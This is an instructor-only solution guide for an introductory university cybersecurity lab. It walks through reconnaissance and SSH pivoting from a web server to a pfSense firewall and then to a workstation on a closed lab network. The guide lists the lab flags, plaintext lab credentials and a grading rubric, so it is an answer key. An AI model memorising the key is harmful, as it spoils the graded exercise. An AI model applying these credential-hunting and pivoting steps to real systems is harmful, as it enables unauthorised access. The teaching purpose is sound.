

Bachelor in Computer Engineering – Management and Information Systems

Introduction to Cybersecurity

Lab 1

Reconnaissance & Enumeration

Solution Guide – Instructor Only

Do not distribute to students.

This document contains the complete solution including flags and credentials.

Course	Introduction to Cybersecurity
Lab	1 of 4
Topic	Reconnaissance & Enumeration
Flag 1	FLAG{p3bc4k_s3rv3r_0wn3d}
Flag 2	FLAG{d3f4ult_cr3ds_k1ll_s3cur1ty}
Flag 3	FLAG{sk1n3t_b3c4m3_s3nt13nt}

Topology Reference

Node	Hostname	Internal IP	OS
Attacker	—	192.168.0.x (DHCP)	Parrot OS
Firewall	lab1	192.168.0.29 (WAN)	pfSense CE 2.7.2
Router	—	172.16.0.2 / 192.168.20.1	VyOS
Server	pebcak	192.168.20.50	Ubuntu Server 24.04
PC1	—	192.168.10.50	Ubuntu Desktop 24.04

Traffic flow: Attacker -> pfSense WAN (NAT) -> VyOS -> Server / PC1

Step 1 – Landing Page & Source Inspection

Open Firefox on the Attacker and navigate to `http://lab1`.

```
$ curl -s http://lab1
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>PEBCAK Corp</title>
</head>
<body>
  <h1>PEBCAK CORP</h1>
  <p>Problem Exists Between Chair And Keyboard</p>
  <!-- sometimes simplify and search -->
</body>
</html>
```

Finding: HTML comment `<!-- sometimes simplify and search -->`

Interpretation: "simplify and search" – the company name is PEBCAK, try `/pebcak` or `/pebcak.html`.

Step 2 – Hidden Page Discovery

```
$ curl -s http://lab1/pebcak.html
<!DOCTYPE html>
<html><head><title>PEBCAK Corp -- Internal</title></head>
<body>
  <h2>Maintenance Access</h2>
  <table>
    <tr><td>Protocol</td><td>SSH</td></tr>
    <tr><td>Host</td><td>lab1</td></tr>
    <tr><td>User</td><td>blackmesa</td></tr>
```

```
<tr><td>Password</td><td>!BL4kM3s$</td></tr>
</table>
</body>
</html>
```

Finding: SSH credentials on an unauthenticated internal page.

Step 3 – SSH Initial Access (Flag 1)

```
$ ssh blackmesa@lab1
blackmesa@lab1's password: !BL4kM3s$

blackmesa@pebcak:~$ cat ~/flag.txt
FLAG{p3bc4k_s3rv3r_0wn3d}

-- PEBCAK Corp Internal Credentials --
Firewall management access:
Host      : 172.16.0.1
Protocol  : SSH / Web UI
User      : admin
Password  : pfsense
```

FLAG CAPTURED: FLAG{p3bc4k_s3rv3r_0wn3d}

Note: The flag file also reveals firewall credentials – this is intentional and leads to Step 4.

Step 4 – Pivot to Firewall (Flag 2)

From the Server, use the credentials found in flag.txt:

```
blackmesa@pebcak:~$ ssh admin@172.16.0.1
admin@172.16.0.1's password: pfsense

[2.7.2-RELEASE][admin@pfSense.localdomain]/root: cat /
root/flag.txt
FLAG{d3f4ult_cr3ds_k1ll_s3cur1ty}

-- Network inventory --
Workstation found on internal network:
Host      : 192.168.10.50
User      : skynet
Password  : Sk1n3t
```

FLAG CAPTURED: FLAG{d3f4ult_cr3ds_k1ll_s3cur1ty}

Why it works: VyOS routes traffic between the Servers LAN (192.168.20.0/24) and pfSense LAN (172.16.0.1/30). The admin password is the default pfsense – never changed.

Step 5 – Pivot to Workstation (Flag 3)

The pfSense flag reveals an internal workstation at 192.168.10.50. From the Server, the student can reach it directly via VyOS routing:

```
blackmesa@pebcak:~$ ssh skynet@192.168.10.50
skynet@192.168.10.50's password: Sk1n3t

skynet@pc1:~$ cat ~/flag.txt
FLAG{sk1n3t_b3c4m3_s3nt13nt}
```

FLAG CAPTURED: FLAG{sk1n3t_b3c4m3_s3nt13nt}

Attack path summary:

Attacker -> Lab1 (HTTP) -> pebcak.html -> Server
(SSH) -> pfSense (SSH) -> PC1 (SSH)

Total hops from Attacker to PC1: 4 pivots.

Grading Guide

Criterion	Evidence expected	Points
Found HTML comment	Screenshot or curl output with comment	15
Discovered /pebcak.html	URL + screenshot or curl output	15
SSH access to Server	Terminal showing pebcak prompt	15
Flag 1 captured	FLAG{p3bc4k_s3rv3r_0wn3d}	15
Flag 2 captured (pfSense)	FLAG{d3f4ult_cr3ds_k1ll_s3cur1ty}	15
Flag 3 captured (PC1)	FLAG{sk1n3t_b3c4m3_s3nt13nt}	15
Report quality	Clear, structured, all steps documented	10
Total		100

Table 1: Grading rubric for Lab 1

Common Student Mistakes

- **Not reading flag.txt fully:** Each flag file contains credentials leading to the next hop. Students who stop at the flag string miss the pivot.
- **Wrong password quoting:** The ! in !BL4kM3s\$ is special in bash. Works fine when typed interactively.
- **Using IP instead of hostname for Server:** ssh blackmesa@192.168.0.29 works but misses the DNS resolution lesson.
- **Modifying pfSense:** Remind students the scope is enumeration, not infrastructure modification.
- **Not pivoting from Server to PC1:** Some students reach pfSense and stop. Remind them the pfSense flag file contains further information.